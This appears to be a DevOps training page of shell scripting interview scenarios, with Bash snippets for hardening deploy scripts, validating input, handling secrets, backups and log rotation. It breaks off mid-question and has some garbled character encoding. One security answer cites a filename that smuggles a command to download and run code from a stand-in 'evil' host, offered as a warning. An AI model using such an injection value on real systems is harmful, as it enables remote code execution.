Scenario Questions
Real-world Shell Scripting situations and how to reason through them in an interview
Scenarios: writing and hardening scripts
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q1 You inherit a 600-line deploy.sh with no error handling. It "sometimes half-deploys". Where do you start?
Intermediate
deploy.sh with no error handling. It "sometimes half-deploys". Where do you start?Situation read โ Half-deploys mean a step fails and the script keeps going. Before rewriting anything, make failures visible and stop on them.
What I'd do โ
- Put it in Git if it is not already, and run
shellcheck -x deploy.shto get a list of real bugs (unquoted variables, uncheckedcd, masked return codes). - Add a strict header and an error trap so the next failure tells us where:
set -Eeuo pipefail trap 'echo "FAILED line $LINENO: $BASH_COMMAND (exit $?)" >&2' ERR - Run it against staging with
bash -xand aPS4that prints line numbers, fixing everything strict mode trips on (often optional variables needing${VAR:-}). - Restructure so the switch-over is a single atomic step at the end (build in a new release directory, then
ln -sfnand reload), so a failure before that point changes nothing live. - Add a lock (
flock -n) so two people cannot deploy at once.
Why โ Most "sometimes" bugs are unchecked failures plus non-atomic changes. Strict mode surfaces them, atomic switching makes them harmless.
Interview tip โ Say you would not big-bang rewrite it; you make it observable first, then refactor in small, tested steps.
Q2 A script with #!/bin/sh works on CentOS but fails on Ubuntu with Syntax error: "(" unexpected. What is going on and what do you do?
Beginner
#!/bin/sh works on CentOS but fails on Ubuntu with Syntax error: "(" unexpected. What is going on and what do you do?Situation read โ On CentOS/RHEL /bin/sh is Bash; on Debian/Ubuntu it is dash, which does not support arrays, [[ ]] or function syntax.
What I'd do โ
- Confirm:
ls -l /bin/sh(Ubuntu shows-> dash) and find bashisms withshellcheck -s sh script.shorcheckbashisms script.sh. - If Bash is guaranteed on every target, change the shebang to
#!/usr/bin/env bash. - If it must run in minimal images (Alpine, BusyBox), rewrite the bashisms in POSIX form instead.
- Add ShellCheck to CI so the shebang and the code always agree.
Why โ The shebang is a contract: it must name the shell the code is actually written for.
Interview tip โ Mention that sh script.sh on the command line also forces dash, regardless of the shebang.
Q3 You need a deploy script that humans and CI both call with --env, --version and --dry-run. How do you design its interface?
Beginner
--env, --version and --dry-run. How do you design its interface?Situation read โ A good CLI is predictable for humans and strict for machines: clear flags, validation, meaningful exit codes, no prompts in CI.
What I'd do โ
- Parse with a
while (($#)); case $1 inloop to support long options, and reject unknown flags with exit 2. - Validate:
[[ $env =~ ^(dev|staging|prod)$ ]],[[ $version =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]. - Support env vars as defaults for CI (
env=${DEPLOY_ENV:-}), with flags overriding them. - Prompt for confirmation on prod only when
[[ -t 0 ]]; in CI require an explicit--yes. - Implement
--dry-runthrough arun()wrapper that prints commands withprintf '%q 'instead of executing them. - Document exit codes in
--help(0 ok, 1 failed, 2 usage, 3 health check failed).
Why โ CI pipelines branch on exit codes, and humans need --help and dry runs to trust a script.
Interview tip โ Say "the script never prompts when there is no terminal", which shows you have been burned by a hung CI job.
Q4 A maintenance script must run as the deploy user, never as root, because files it creates must be owned by deploy. How do you enforce that?
Beginner
deploy user, never as root, because files it creates must be owned by deploy. How do you enforce that?Situation read โ Running as root creates root-owned files the app cannot later modify, a classic source of Permission denied after a manual run.
What I'd do โ
- Check the effective user at the top:
if [[ $(id -un) != deploy ]]; then if [[ $EUID -eq 0 ]]; then exec runuser -u deploy -- "$0" "$@"; fi echo "run as deploy: sudo -u deploy $0" >&2; exit 1 fi - Re-executing with
runuser(orsudo -u deploy) keeps the operator experience simple while guaranteeing ownership. - Set
umask 027so new files are not world-readable.
Why โ Re-exec as the right user prevents the mistake instead of just reporting it.
Interview tip โ Use $EUID (effective UID) rather than $USER, which is just an environment variable and can be wrong under sudo.
Q5 Ten scripts in a repo each copy-paste their own log, die, retry and config loading. How do you fix this?
Intermediate
log, die, retry and config loading. How do you fix this?Situation read โ Duplicated helpers drift apart; a fix in one script never reaches the others.
What I'd do โ
- Create
lib/common.shwith the shared functions, a# shellcheck shell=bashdirective, and a double-source guard ([[ -n ${_COMMON_LOADED:-} ]] && return 0). - Source it relative to the script, not the current directory:
SCRIPT_DIR=$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")") # shellcheck source=../lib/common.sh source "$SCRIPT_DIR/../lib/common.sh" - Keep the library free of side effects: only function definitions and defaults, no
set -e, noexitat load time (callers own their strict mode). - Prefix library functions and locals (
opskit_init,_try) to avoid collisions and dynamic-scoping bugs. - Add bats tests for the library itself, and configure
.shellcheckrcwithsource-path=SCRIPTDIR.
Why โ A tested library turns ten inconsistent scripts into ten thin scripts with one well-understood core.
Interview tip โ Mention the dynamic-scoping trap: a library retry with local n silently breaks a caller's function that uses a global n.
Q6 A script is run both by engineers and by cron. Cron logs are full of colour codes and the script sometimes hangs waiting for input. Fix it.
Beginner
Situation read โ The script assumes a terminal. Under cron, stdin and stdout are not TTYs.
What I'd do โ
- Enable colours only when stdout is a terminal and
NO_COLORis unset:if [[ -t 1 && -z ${NO_COLOR:-} ]]; then RED=$'\e[31m' RST=$'\e[0m'; else RED='' RST=''; fi - Never prompt without a terminal:
[[ -t 0 ]] || die "refusing to prompt without a TTY; pass --yes". - Pass non-interactive flags to tools:
apt-get -y,DEBIAN_FRONTEND=noninteractive,ssh -o BatchMode=yes,kubectl --contextexplicitly. - Redirect stdin from
/dev/nullin the cron line to be safe:... < /dev/null.
Why โ Interactive assumptions are the main reason scripts hang in automation.
Interview tip โ Name ssh -o BatchMode=yes, which makes SSH fail instead of waiting for a password.
Q7 Your team decides all scripts must pass ShellCheck. The first run reports 400 findings across 60 scripts. How do you roll this out?
Intermediate
Situation read โ Blocking CI on 400 findings stops all work; ignoring them keeps the bugs. Ratchet instead.
What I'd do โ
- Add ShellCheck to CI for changed files only first:
git diff --name-only --diff-filter=ACM origin/main -- '*.sh' | xargs -r shellcheck -x - Fix the error-level findings everywhere immediately (
shellcheck -S error), since those are real bugs. - Commit a
.shellcheckrcwith agreed settings (source-path=SCRIPTDIR,external-sources=true). - Fix warnings script by script, starting with anything run as root or in production paths.
- Allow inline disables only with a reason comment, and review them in PRs.
- Once clean, run it on all files and make it blocking; add a pre-commit hook.
Why โ A ratchet improves quality without freezing delivery, and the riskiest scripts get fixed first.
Interview tip โ Say which codes you fix first: SC2086, SC2046, SC2164 and SC2155 cause real incidents.
Q8 A script edits /etc/nginx/nginx.conf and reloads nginx. If someone hits Ctrl+C mid-way, nginx is left with a broken config. How do you make it safe?
Intermediate
/etc/nginx/nginx.conf and reloads nginx. If someone hits Ctrl+C mid-way, nginx is left with a broken config. How do you make it safe?Situation read โ In-place edits are not atomic, and an interrupted edit leaves a half-written file that fails on the next reload or reboot.
What I'd do โ
- Build the new config in a temp file in the same directory:
tmp=$(mktemp /etc/nginx/.nginx.conf.XXXXXX). - Trap cleanup:
trap 'rm -f -- "$tmp"' EXIT. - Validate the candidate before installing it:
nginx -t -c "$tmp"(or copy into place in a staging include and runnginx -t). - Keep a backup, then swap atomically:
cp -a nginx.conf nginx.conf.bak && mv -f -- "$tmp" nginx.conf. - Reload, and on failure restore the backup and reload again.
Why โ mv on the same filesystem is atomic; an interruption at any point leaves either the old or the new config, never half of one.
Interview tip โ Mention that SIGKILL cannot be trapped, which is exactly why the atomic rename matters more than the trap.
Q9 A script processes files that customers upload to /srv/uploads. What security problems do you watch for?
Advanced
/srv/uploads. What security problems do you watch for?Situation read โ Filenames are attacker-controlled input. They can contain spaces, newlines, leading dashes, .., glob characters and shell metacharacters.
What I'd do โ
- Never parse
ls; iterate withfind ... -print0 | while IFS= read -r -d '' f. - Quote every expansion and pass
--before filenames:mv -- "$f" "$dest/". - Never put filenames into
eval,bash -c,ssh host "..."orfind -exec sh -c '... {}'(usesh -c '...' _ {}so the name is an argument). - Reject or sanitize names against an allow-list:
[[ ${f##*/} =~ ^[A-Za-z0-9._-]{1,128}$ ]] || quarantine "$f". - Do not follow symlinks the uploader could plant (
find -P, check[[ -L $f ]]), and run the script as an unprivileged user. - Process in a private temp dir created with
mktemp -d.
Why โ A file named -rf or x;curl evil|sh turns a sloppy script into remote code execution or data loss.
Interview tip โ Demonstrate the sh -c '...' _ "$f" pattern; it shows you know how to pass data as arguments rather than code.
Q10 A script needs an API token, and the script lives in a Git repo. How do you handle the token?
Intermediate
Situation read โ The token must never be committed, logged or visible in the process list.
What I'd do โ
- Read it at runtime from the platform's secret source: an env var injected by CI (masked), a file with mode 0600 (
/etc/opskit/token), or a secrets manager:token=$(aws secretsmanager get-secret-value --secret-id prod/api --query SecretString --output text) - Fail fast if missing:
: "${API_TOKEN:?API_TOKEN not set}". - Keep it out of argv:
curl -H @<(printf 'Authorization: Bearer %s\n' "$token") "$url"(curl 7.55+ reads headers from a file). - Disable tracing around it (
set +x) and never echo it; mask in logs. - Add a secret scanner (gitleaks) in pre-commit and CI.
Why โ Secrets leak through Git history, ps, set -x and log aggregation far more often than through clever attacks.
Interview tip โ Mention that rotating a leaked token is mandatory; deleting the commit is not enough.
Q11 A data migration script runs for 40 minutes over 5,000 items. When it fails at item 3,000, rerunning starts from scratch. How do you make it resumable?
Advanced
Situation read โ Long batch jobs need checkpoints and idempotent steps, otherwise every failure costs the full runtime and may duplicate work.
What I'd do โ
- Make each item idempotent (check before acting, or use upserts).
- Record progress in a state file after each item succeeds, written atomically:
state=/var/lib/migrate/done.txt touch "$state" while IFS= read -r id; do grep -qxF -- "$id" "$state" && continue migrate_item "$id" printf '%s\n' "$id" >> "$state" done < items.txt - For large sets, use a sorted done-list and
comm -23 <(sort items.txt) <(sort "$state")to compute the remaining work once, instead of grepping per item. - Take a lock so two resumptions cannot run at once, and add a
--resetflag to clear state deliberately. - Log a progress line every N items with an ETA.
Why โ Checkpointing turns a 40-minute retry into a 1-minute one, and idempotency makes reruns safe.
Interview tip โ Say you append to the state file only after the item succeeds, so a crash mid-item retries that item.
Q12 The same script must run on engineers' macOS laptops and on Linux CI runners. What breaks, and how do you handle it?
Intermediate
Situation read โ macOS ships Bash 3.2 and BSD userland; Linux has Bash 5 and GNU tools. Flags differ for sed -i, date -d, readlink -f, stat -c, grep -P, xargs -r.
What I'd do โ
- Require Bash 4+ explicitly and tell macOS users to
brew install bash coreutils gnu-sed grep:(( BASH_VERSINFO[0] >= 4 )) || { echo "need Bash 4+ (brew install bash)" >&2; exit 1; } - Prefer portable forms:
sed -i.bak ... && rm *.bak,$(cd "$(dirname "$0")" && pwd)instead ofreadlink -f. - Where GNU behaviour is needed, detect and use
gdate,gsedwhen present. - Run CI on both
ubuntu-latestandmacos-latestif laptops are a supported target. - Or remove the problem: run the script inside a container image with pinned tools.
Why โ "Works on my Mac" is the shell equivalent of "works on my machine".
Interview tip โ Mention that #!/usr/bin/env bash picks up Homebrew's Bash on macOS, while #!/bin/bash pins Apple's 3.2.
Q13 You are asked to add set -e to a large legacy script that has run in production for years. What are the risks?
Intermediate
set -e to a large legacy script that has run in production for years. What are the risks?Situation read โ The script may rely on commands failing harmlessly: grep returning 1 when nothing matches, diff returning 1 when files differ, ((count++)) at zero, test as the last line of a function.
What I'd do โ
- Grep for commands with meaningful non-zero codes:
grep,diff,cmp,test/[,((,readat EOF,pgrep,systemctl is-active. - Make intended "failures" explicit:
grep -q x f || true,if grep -q ...; then,count=$((count + 1)). - Run it in staging with
set -Eeuo pipefailand anERRtrap that logs the line, and fix each trip. - Roll out behind a flag at first (
STRICT=1) if the script is critical.
Why โ set -e changes behaviour for every command; blindly adding it can turn a working script into one that stops halfway, which may be worse.
Interview tip โ Saying "set -e is a safety net, not error handling" signals maturity.
Q14 A long script needs useful logs: levels, timestamps, and a debug mode that does not require editing the code. Design it.
Beginner
Situation read โ Logs must be greppable and the level must be controllable at runtime.
What I'd do โ
- A single
logfunction writing to stderr:LOG_LEVEL=${LOG_LEVEL:-INFO} declare -A _lvl=([DEBUG]=10 [INFO]=20 [WARN]=30 [ERROR]=40) log() { (( _lvl[$1] >= _lvl[$LOG_LEVEL] )) || return 0 printf '%s %-5s [%s] %s\n' "$(date -u +%FT%TZ)" "$1" "${0##*/}" "${*:2}" >&2 } LOG_LEVEL=DEBUG ./script.shturns on debug lines;TRACE=1turns onset -xwith a line-numberPS4.- Under systemd, rely on the journal; elsewhere, also send to syslog with
logger -t.
Why โ Uniform, leveled logs make incidents answerable with grep and journalctl instead of guesswork.
Interview tip โ Mention logging to stderr so stdout stays clean for data.
Q15 A script accepts an environment name, a semantic version and a hostname from users. How do you validate them?
Beginner
Situation read โ Validate against an allow-list before the values touch any command.
What I'd do โ
[[ $env =~ ^(dev|staging|prod)$ ]] || die "invalid env: $env"
[[ $version =~ ^v?[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?$ ]] || die "invalid version: $version"
[[ $host =~ ^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$ ]] || die "invalid host: $host"- Store complex regexes in variables and keep them unquoted on the right of
=~. - Normalize first if needed (
env=${env,,}). - Exit with code 2 for invalid input so callers can distinguish usage errors.
Why โ Allow-lists block typos and injection in one step; deny-lists always miss a character.
Interview tip โ Mention that validation must happen before the value is used in a path, ssh, sed or SQL.
Q16 A Bash script has grown to 900 lines, parses JSON in 40 places and has nested associative-array tricks. Your manager asks whether to keep it. What do you say?
Intermediate
Situation read โ The script has outgrown the language. Bash is strong at orchestrating commands, weak at data structures and testable logic.
What I'd do โ
- Identify the parts that are glue (calling
kubectl,aws,rsync) and the parts that are logic (JSON transforms, decisions). - Propose moving the logic to Python (or Go if a static binary helps distribution), with unit tests, while keeping a thin Bash wrapper if operators like the interface.
- Migrate incrementally: one subcommand at a time, both versions tested against the same fixtures.
- Until then, add ShellCheck and bats around the current script so the migration has a safety net.
Why โ Maintenance cost and bug rate grow sharply when Bash is used as a general-purpose language.
Interview tip โ Give a rule of thumb, such as "more than about 300 lines, or real data structures, means Python".
Q17 A container entrypoint (Alpine, POSIX sh only) must wait for Postgres before running migrations. Write the approach.
Intermediate
sh only) must wait for Postgres before running migrations. Write the approach.Situation read โ No Bash, so no /dev/tcp, arrays or [[ ]]. The wait must be bounded, and the app must become PID 1.
What I'd do โ
#!/bin/sh
set -eu
deadline=$(( $(date +%s) + ${DB_WAIT_SECONDS:-60} ))
until pg_isready -q -h "$DB_HOST" -p "${DB_PORT:-5432}"; do
if [ "$(date +%s)" -ge "$deadline" ]; then
echo "database not ready after ${DB_WAIT_SECONDS:-60}s" >&2
exit 1
fi
sleep 2
done
./migrate up
exec "$@"pg_isreadycomes with the Postgres client package;nc -z host portis a fallback.exec "$@"hands PID 1 to the real process so it receivesSIGTERM.- Check with
shellcheck -s sh entrypoint.sh.
Why โ Unbounded waits hang deploys; a missing exec breaks graceful shutdown.
Interview tip โ Mention that in Kubernetes, readiness probes and init containers are often a better place for this than the entrypoint.
Q18 You want tests for existing scripts that call curl, aws and systemctl. How do you test them without touching real systems?
Intermediate
curl, aws and systemctl. How do you test them without touching real systems?Situation read โ External commands must be replaced with controllable fakes, and each test needs an isolated filesystem.
What I'd do โ
- Use bats-core; put stub executables in
tests/stubs/and prepend that directory toPATHinsetup(). - Each stub logs its arguments to a file and returns canned output or an exit code from an environment variable (
STUB_CURL_RC=22). - Make the script configurable through environment variables for paths (
STATE_DIR,LOG_FILE,CONF), defaulting to production paths. - Assert on exit status, output, files created and the stub call log.
- Run
bats testsandshellcheckin CI on every PR.
Why โ PATH stubs need no changes to the script's code and make failure paths (timeouts, 503s, AccessDenied) easy to test.
Interview tip โ Point to a failure-path test, such as "upload fails, so the script exits 1 and raises an alert". That is where scripts usually break.
Q19 A nightly job should post to Slack when it starts, succeeds or fails, including the duration and the last 20 log lines on failure. Design it.
Intermediate
Situation read โ Notifications must work even when the job crashes, so they belong in traps, not at the end of the happy path.
What I'd do โ
log=$(mktemp); exec > >(tee -a "$log") 2>&1
start=$SECONDS
notify() { jq -n --arg t "$1" '{text: $t}' |
curl -fsS --max-time 10 -H 'Content-Type: application/json' --data-binary @- "$SLACK_WEBHOOK" >/dev/null || true; }
finish() {
local rc=$?
if (( rc == 0 )); then notify "backup OK in $((SECONDS - start))s"
else notify "backup FAILED (exit $rc) after $((SECONDS - start))s"$'\n'"$(tail -n 20 "$log")"; fi
rm -f -- "$log"
}
trap finish EXIT
notify "backup started on $(hostname -s)"- Build JSON with
jqso log lines with quotes cannot break the payload. - Notification failures must never fail the job (
|| true).
Why โ The EXIT trap sees the real exit code in all cases, including set -e aborts.
Interview tip โ Mention avoiding alert fatigue: notify on failure and on recovery, and keep "started" messages for jobs people actively watch.
Q20 Other teams want to use your script as a CLI tool. What do you add before sharing it?
Beginner
Situation read โ Shared tools need a stable interface, versioning and documentation.
What I'd do โ
--helpwith usage, options, examples and exit codes;--versionprinting a version stamped at release.- Consistent option parsing and validation; non-zero exit codes documented.
- Dependency check at startup (
require_cmd jq curl aws) with install hints. - A README, a CHANGELOG and semantic version tags in Git.
- Distribution: a release tarball or package with checksums, or a container image; never "curl from main | bash".
- CI with ShellCheck,
shfmtand bats.
Why โ Without versioning, a change you make for your team silently breaks theirs.
Interview tip โ Mention keeping backward compatibility for flags, or deprecating them with a warning first.
Scenarios: backups, log rotation and housekeeping
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q21 Design a nightly backup of /etc and application data to S3 with retention.
Intermediate
/etc and application data to S3 with retention.Situation read โ A backup is only useful if it is complete, verifiable, off-host, retained correctly and alerts on failure.
What I'd do โ
- Archive with a UTC timestamp and the hostname:
tar -czf "$dir/$(hostname -s)-$(date -u +%Y%m%dT%H%M%SZ).tar.gz" -C / etc srv/app/shared. - Write to a temp file and
mvinto place; generate a.sha256next to it. - Upload with retries and server-side encryption:
aws s3 cp --sse AES256 "$f" "s3://$bucket/servers/$host/", then confirm withaws s3api head-objectthat the size matches. - Local retention: keep the newest N archives; S3 retention: a bucket lifecycle rule (expire after 35 days, or transition to Glacier), plus versioning and Object Lock if ransomware is in scope.
- Run it from a systemd timer with
Persistent=true,flock, andOnFailure=alerting.
Why โ Each step closes a known failure mode: partial files, silent corruption, local-only copies, unbounded growth and unnoticed failures.
Interview tip โ Say retention in S3 belongs in a lifecycle policy, not in a script that deletes objects with broad permissions.
Q22 Write the core of a Postgres backup that streams pg_dump through gzip to S3 and never uploads an empty dump.
Intermediate
pg_dump through gzip to S3 and never uploads an empty dump.Situation read โ In pg_dump | gzip, a failed pg_dump still produces a small valid gzip file, and without pipefail the job reports success.
What I'd do โ
set -Eeuo pipefail
out="/var/backups/pg/app-$(date -u +%Y%m%dT%H%M%SZ).sql.gz"
tmp=$(mktemp "${out}.XXXXXX"); trap 'rm -f -- "$tmp"' EXIT
pg_dump --format=plain --no-owner -h "$PGHOST" -U backup app | gzip -6 > "$tmp"
gzip -t "$tmp"
(( $(stat -c %s "$tmp") > 1024 )) || { echo "dump suspiciously small" >&2; exit 1; }
mv -- "$tmp" "$out"
aws s3 cp --only-show-errors --sse aws:kms "$out" "s3://$BUCKET/pg/"pipefailmakes the pipeline fail ifpg_dumpfails.- Credentials come from
~/.pgpass(mode 0600) orPGPASSWORDfrom a secret, not argv. - For large databases use
--format=custom(compressed, parallel restore withpg_restore -j).
Why โ Empty backups are the most common way teams discover they had no backup.
Interview tip โ Mention a size sanity check, and a scheduled test restore, as two separate guards.
Q23 Backups have "succeeded" every night for a year, but the first real restore failed. How do you make backups trustworthy?
Advanced
Situation read โ Nobody tested restores, so "success" only meant "the script exited 0".
What I'd do โ
- Add an automated restore test on a schedule (weekly), in an isolated environment:
latest=$(aws s3 ls "s3://$BUCKET/pg/" | sort | tail -n1 | awk '{print $4}') aws s3 cp "s3://$BUCKET/pg/$latest" /restore/ createdb restore_test && gunzip -c "/restore/$latest" | psql -v ON_ERROR_STOP=1 -q restore_test psql -tAc 'select count(*) from orders' restore_test # compare with production metrics - Assert on content: row counts within a tolerance, the latest record's timestamp is recent, critical tables exist.
- Verify checksums of archives before restoring, and alert if the newest backup is older than 26 hours.
- Record restore duration as a metric; that is your real RTO.
- Document the restore runbook and rehearse it.
Why โ A backup you have not restored is a hypothesis, not a backup.
Interview tip โ Use "RTO and RPO" and say restore tests produce the evidence for both.
Q24 /var is 100% full because an app's logs were never rotated, and the app now fails to start. What do you do now, and what do you set up after?
Beginner
/var is 100% full because an app's logs were never rotated, and the app now fails to start. What do you do now, and what do you set up after?Situation read โ Two jobs: free space safely right now, then make sure it cannot happen again.
What I'd do โ
- Find the culprit:
du -xh --max-depth=2 /var 2>/dev/null | sort -h | tail. - If the app holds the file open, truncate it instead of deleting it:
: > /var/log/app/app.log(or compress a copy first if you need it). - Compress or delete old rotated files:
find /var/log/app -name '*.log.*' -mtime +3 -delete. - Check for deleted-but-open files:
lsof +L1. - Add
/etc/logrotate.d/app:/var/log/app/*.log { daily rotate 14 compress delaycompress missingok notifempty copytruncate } - Test with
logrotate -d /etc/logrotate.d/app(debug, no changes), thenlogrotate -fonce. - Add a disk-usage alert at 80% and 90%.
Why โ Deleting an open log frees no space until the process closes it; truncation does.
Interview tip โ Mention logrotate -d for a dry run. It shows you test config before applying it.
Q25 Should you use copytruncate or a postrotate signal for an application's logs? How do you decide?
Intermediate
copytruncate or a postrotate signal for an application's logs? How do you decide?Situation read โ The choice depends on whether the application can reopen its log file.
What I'd do โ
- If the app supports reopening on a signal (nginx
USR1, many daemons onHUP), usecreatepluspostrotate:/var/log/nginx/*.log { daily rotate 14 compress delaycompress sharedscripts postrotate [ -s /run/nginx.pid ] && kill -USR1 "$(cat /run/nginx.pid)" endscript } - If it cannot reopen (some Java or Node apps writing to a file), use
copytruncate, accepting that lines written between the copy and the truncate can be lost. - Best of all for new services: log to stdout and let journald or the container runtime handle rotation.
Why โ Rotating by rename without a reopen means the app keeps writing to the renamed (and later deleted) file, and disk usage never drops.
Interview tip โ Explain why delaycompress exists: the app may still write to the .1 file briefly after rotation.
Q26 /srv/app/releases has 300 old release directories. Write a cleanup that keeps the newest 5 and never deletes the current release.
Beginner
/srv/app/releases has 300 old release directories. Write a cleanup that keeps the newest 5 and never deletes the current release.Situation read โ Sort by name if names are timestamps, and protect the directory current points to.
What I'd do โ
releases=/srv/app/releases
current=$(readlink -f /srv/app/current)
mapfile -t old < <(find "$releases" -mindepth 1 -maxdepth 1 -type d -printf '%f\n' | sort -r | tail -n +6)
for r in "${old[@]}"; do
[[ "$releases/$r" == "$current" ]] && continue
rm -rf -- "${releases:?}/$r"
echo "removed $r"
done- Release names like
20261109T143000Zsort chronologically as strings. ${releases:?}guards against an empty variable.
Why โ Keeping a few releases enables instant rollback; deleting the live one would cause an outage.
Interview tip โ Mention that sorting by name is more reliable than by mtime, which changes when someone touches a file.
Q27 A Docker host keeps filling its disk. Write a safe cleanup approach.
Beginner
Situation read โ Images, stopped containers, build cache and container logs pile up. Cleanup must not remove what running workloads need.
What I'd do โ
- Measure:
docker system df -v. - Remove only unused objects older than a threshold:
docker container prune -f --filter 'until=24h' docker image prune -af --filter 'until=168h' docker builder prune -f --filter 'until=72h' - Avoid
docker volume prunein automation unless you are sure; volumes hold data. - Cap container logs in
/etc/docker/daemon.json:{"log-driver":"json-file","log-opts":{"max-size":"10m","max-file":"3"}}. - Run the prune from a weekly systemd timer and alert on disk usage.
Why โ Time filters keep recently used images for fast rollbacks; log caps stop the most common runaway growth.
Interview tip โ Mention that docker system prune -a --volumes is a data-loss command, not a routine one.
Q28 You deleted a 40 GB log file, but df still shows the disk full. What happened and how do you script the fix?
Intermediate
df still shows the disk full. What happened and how do you script the fix?Situation read โ A process still holds the file open; the inode and its blocks are freed only when the last descriptor closes.
What I'd do โ
- Find deleted-but-open files:
lsof +L1orfind /proc/*/fd -lname '*(deleted)' 2>/dev/null. - Truncate through the process's file descriptor without restarting it:
lsof -nP +L1 2>/dev/null | awk 'NR > 1 && $7 > 1e9 {print $2, $4}' | while read -r pid fd; do fd=${fd%[rwu]} : > "/proc/$pid/fd/$fd" echo "truncated pid $pid fd $fd" done - Or restart/reload the service so it reopens its logs.
- Fix rotation so the app is signalled or
copytruncateis used.
Why โ rm removes the name, not the data, while a process holds it.
Interview tip โ Mention that du and df disagreeing is the tell-tale sign of deleted open files.
Q29 You need to back up 2 TB of mostly unchanged files nightly over a limited link. A full tar each night is impossible. What do you do?
Advanced
Situation read โ Only changed data should travel, and each backup should still look like a full snapshot for easy restores.
What I'd do โ
- To another server:
rsyncwith hard-link snapshots, so unchanged files cost no extra space:today=/backups/$(date +%F) rsync -aH --delete --numeric-ids --link-dest=/backups/latest /data/ "$today/" ln -sfn "$today" /backups/latest - To S3:
aws s3 sync /data "s3://$bucket/data/" --sse AES256uploads only changed files; enable bucket versioning for point-in-time recovery, with lifecycle rules for old versions. - Or use a deduplicating tool (restic, borg) that does content-defined chunking, encryption and retention policies.
- Limit bandwidth (
rsync --bwlimit=20M) and usenice/ionice.
Why โ Incremental transfer cuts nightly volume to the daily change rate, and snapshots keep restores simple.
Interview tip โ Mention that aws s3 sync compares size and modification time, not content, which matters for files rewritten with the same size.
Q30 Compliance requires backups to be encrypted before they leave the server. How do you change the script?
Intermediate
Situation read โ Server-side encryption protects data at rest in S3, but client-side encryption means the cloud provider never sees plaintext.
What I'd do โ
- Encrypt with a public key so the server cannot decrypt its own backups:
tar -czf - -C / etc srv/app | age -r "$AGE_PUBKEY" > "$out.tar.gz.age" # or: gpg --batch --encrypt --recipient [email protected] --output "$out.gpg" "$out" - Keep the private key offline or in a secrets manager with restricted access, and test decryption in restore drills.
- Still use
--sse aws:kmson upload as defence in depth, and an IAM policy that only allowss3:PutObjectfor the server. - Use
set -o pipefailso a tar failure is not hidden behind a successful encryption step.
Why โ Public-key encryption means a compromised server cannot read historical backups.
Interview tip โ Mention that losing the key means losing every backup, so key management is part of the design.
Q31 Fifty servers back up to one S3 bucket. How do you structure keys and permissions?
Intermediate
Situation read โ You need clear ownership, isolation between servers, and protection against a compromised server deleting all backups.
What I'd do โ
- Key layout:
servers/<hostname>/<hostname>-<UTC timestamp>.tar.gz, so listing and lifecycle rules work per host. - Instance role permissions:
s3:PutObject(ands3:GetObjectfor verification if needed) onarn:aws:s3:::bucket/servers/${aws:PrincipalTag/Name}/*or a per-host prefix; nos3:DeleteObject. - Bucket: versioning, default encryption, Block Public Access, lifecycle expiration, and Object Lock in governance or compliance mode for ransomware resistance.
- Monitoring: a scheduled check that every host has an object newer than 26 hours.
Why โ Put-only permissions plus versioning means a compromised host can add objects but cannot destroy history.
Interview tip โ Mention "freshness monitoring per host"; a host that silently stopped backing up is the common failure.
Q32 Implement retention of 7 daily, 4 weekly and 12 monthly backups (GFS) in a script.
Advanced
Situation read โ Classify each backup by date, keep the newest in each bucket, delete the rest.
What I'd do โ
declare -A keep=()
mapfile -t files < <(find "$dir" -maxdepth 1 -name "$host-*.tar.gz" -printf '%f\n' | sort -r)
daily=0; declare -A seen_w seen_m
for f in "${files[@]}"; do
d=${f#"$host-"}; d=${d:0:8} # YYYYMMDD from the name
if (( daily < 7 )); then keep[$f]=1; daily=$((daily + 1)); fi
w=$(date -d "$d" +%G-W%V); m=${d:0:6}
if [[ -z ${seen_w[$w]:-} ]] && (( ${#seen_w[@]} < 4 )); then seen_w[$w]=1; keep[$f]=1; fi
if [[ -z ${seen_m[$m]:-} ]] && (( ${#seen_m[@]} < 12 )); then seen_m[$m]=1; keep[$f]=1; fi
done
for f in "${files[@]}"; do [[ -n ${keep[$f]:-} ]] || rm -f -- "$dir/$f" "$dir/$f.sha256"; done- Files are processed newest first, so the first file seen in each week or month is the newest one.
- Run it with a
--dry-runthat prints decisions before enabling deletion.
Why โ GFS gives fine recent granularity and long history with few files.
Interview tip โ Mention that for S3, tools like restic (forget --keep-daily 7 --keep-weekly 4 --keep-monthly 12) or lifecycle tiers do this without custom code.
Q33 Archive application logs older than 30 days to S3 Glacier and remove them locally.
Beginner
Situation read โ Upload first, verify, then delete; never delete on a failed upload.
What I'd do โ
find /var/log/app -type f -name '*.gz' -mtime +30 -print0 |
while IFS= read -r -d '' f; do
key="logs/$(hostname -s)/${f#/var/log/app/}"
if aws s3 cp --only-show-errors --storage-class GLACIER_IR -- "$f" "s3://$BUCKET/$key"; then
rm -f -- "$f"
else
echo "upload failed, keeping $f" >&2
fi
doneGLACIER_IR(Instant Retrieval) orDEEP_ARCHIVEdepending on retrieval needs and cost.- Better: upload to
STANDARDand let a lifecycle rule transition objects, which keeps the script simple.
Why โ The if upload; then delete ordering makes data loss impossible on network errors.
Interview tip โ Mention retrieval costs and delays for Glacier classes, because cheap storage is not cheap restores.
Q34 The backup job slows down the production database server during business hours. How do you reduce its impact?
Beginner
Situation read โ The job competes for CPU, disk I/O and network.
What I'd do โ
- Schedule it off-peak with a systemd timer:
OnCalendar=*-*-* 02:30:00 UTC. - Lower priority:
nice -n 15 ionice -c3 tar ..., or in the unitNice=15,IOSchedulingClass=idle,CPUQuota=30%. - Limit bandwidth:
aws configure set default.s3.max_bandwidth 50MB/s,rsync --bwlimit. - Back up from a replica instead of the primary when possible.
- Use faster compression (
zstd -T2 -3) to reduce CPU time.
Why โ Priority and bandwidth limits let the job use spare capacity without starving production.
Interview tip โ Mention that ionice -c3 (idle) only helps with I/O schedulers that honour it (BFQ); with none/mq-deadline on NVMe, cgroup I/O limits are more reliable.
Q35 How do you verify that a file uploaded to S3 is intact?
Intermediate
Situation read โ Network errors and partial uploads must be detected before you delete the local copy.
What I'd do โ
- Compare the size after upload:
